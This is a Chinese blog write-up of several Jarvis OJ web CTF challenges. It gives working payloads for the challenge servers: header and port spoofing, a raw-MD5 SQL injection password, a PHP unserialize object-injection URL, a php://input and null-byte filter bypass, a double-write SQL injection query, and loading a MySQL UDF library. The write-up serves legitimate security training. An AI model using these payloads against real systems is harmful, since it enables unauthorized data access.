




Jarvis OJ -WEB-WRITE-UP (一)

原创

郁离歌  于 2018-04-27 22:17:45 发布  1326  收藏 1

分类专栏: [CTF-WRITE-UP](#) 文章标签: [jarvisoj](#) [ctf学习](#) [writeup](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/like98k/article/details/80114164>

版权



[CTF-WRITE-UP](#) 专栏收录该内容

23 篇文章 4 订阅

订阅专栏

Jarvis OJ -WEB-WRITE-UP (一)

PORT51

题目链接: <http://web.jarvisoj.com:32770/>

访问页面之后, 页面显示:

```
Please use port 51 to visit this site.
```

当时看到了这个还以为是需要访问这个网站的51端口, 但是这个网址已经确定了是访问32770端口, 后来一直都没有思路。最后才发现是要求本地以51端口去访问这个网址。payload如下:

```
1 curl --local-port 51 http://web.jarvisoj.com:32770/
```

最后就可以拿到flag。(这里说一下, 应该是服务器那边挂了, 所以并没有flag回显)

LOCALHOST

题目入口: <http://web.jarvisoj.com:32774/>

进去之后说:

```
localhost access only!!
```

那么抓包用xff伪造本地登陆试试看, 拿到flag。

Login

需要密码才能获得flag哦。

题目链接: <http://web.jarvisoj.com:32772/>

打开发现就一个输入password的框, 没什么思路, 抓包看下, 在响应头里看到hint。

参考一篇文章: <http://www.freebuf.com/column/150063.html>

输入 **ffifyop** 即可得到flag。

神盾局的秘密

这里有个通向神盾局内部网络的秘密入口, 你能通过漏洞发现神盾局的秘密吗?

题目入口: <http://web.jarvisoj.com:32768/>

进入之后看一下源码, 发现:

```

```

解码一下base64.是shield.jpg。很明显的任意文件读取。先读一下showimg.php

```
<?php
    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f, '..')===FALSE && stripos($f, '/')===FALSE && stripos($f, '\\')===FALSE
            && stripos($f, 'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>
```

再读一下index.php。

```
<?php
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>
```

再读shield.php

```
<?php
//flag is in pctf.php
class Shield {
    public $file;
    function __construct($filename = '') {
        $this -> file = $filename;
    }

    function readfile() {
        if (!empty($this->file) && strpos($this->file, '..')==FALSE
            && strpos($this->file, '/')==FALSE && strpos($this->file, '\\')==FALSE) {
            return @file_get_contents($this->file);
        }
    }
}
?>
```

综合分析，题目过滤了".."、"/"、"\"，"pctf"

最后是要将实例进行序列化，最后在index.php提交序列化后的内容。

最关键的代码就是,在进行初始化的时候，将\$filename赋值为pctf.php

```
function __construct($filename = ") {  
    $this -> file = $filename;  
}
```

传入得flag。

<http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}>

IN A Mess

连出题人自己都忘了flag放哪了，只记得好像很混乱的样子。

题目入口：<http://web.jarvisoj.com:32780/>

查看源代码，发现index.phps.进去之后发现是代码审计。

```

<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
    header('Location: index.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(strpos($a, '.'))
{
    echo 'Hahahahaha';
    return ;
}
$data = @file_get_contents($a, 'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and
substr($b,0,1)!=4)
{
    require("flag.txt");
}
else
{
    print "work harder!harder!harder!";
}

?>

```

id可以用字母绕过，a用伪协议php://input，b用%00截断就好了

http://web.jarvisoj.com:32780/index.php?id=a&a=php://input&b=%00122111

post内容: "1112 is a nice lab!"

然后进入下一关。

发现是一个注入。过滤了空格和unionselectfrom，但是可以使用双写绕过。

```

http://web.jarvisoj.com:32780/^HT2mCpcv0Lf/index.php?id=0/*111*/ununion/*111*/
seselectlect/*111*/1,2,group_concat(context)/*111*/frfromom/*111*/test.content#

```

RE?

咦，奇怪，说好的WEB题呢，怎么成逆向了？不过里面有个help_me函数挺有意思的哦

拿到一个so文件，问大腿，大腿说：直接逆啊！我：??? 后来搜了一波，发现udf.so可以导入mysql。

cp udf.so.02f8981200697e5eeb661e64797fc172 /usr/lib/mysql/plugin

然后cd进/usr/lib/mysql/plugin目录wget一下

```
sudo wget https://dn.jarvisoj.com/challengefiles/udf.so.02f8981200697e5eeb661e64797fc172
```

然后进入mysql之中，根据提示可以利用help_me函数！利用如下语句！（神奇）

```
mysql> create function help_me returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
```

然后我们查看一下

```
select help_me();
```

然后说答案在getflag中，同样我们构造getflag函数

```
mysql> create function getflag returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
```

然后查看

```
select getflag();
```

拿到flag。

flag在管理员手里

只有管理员才能获得flag，你能想办法获得吗？

题目链接：<http://web.jarvisoj.com:32778/>

进去发现说只有admin可以拿flag，抓包看下，发现有个guest，改一下admin，发回去，发现并没有什么luan用，拿工具扫一波目录。发现index.php~源码泄露。

给一个具体一点的哈希长度扩展攻击解释

<http://www.freebuf.com/articles/web/69264.html>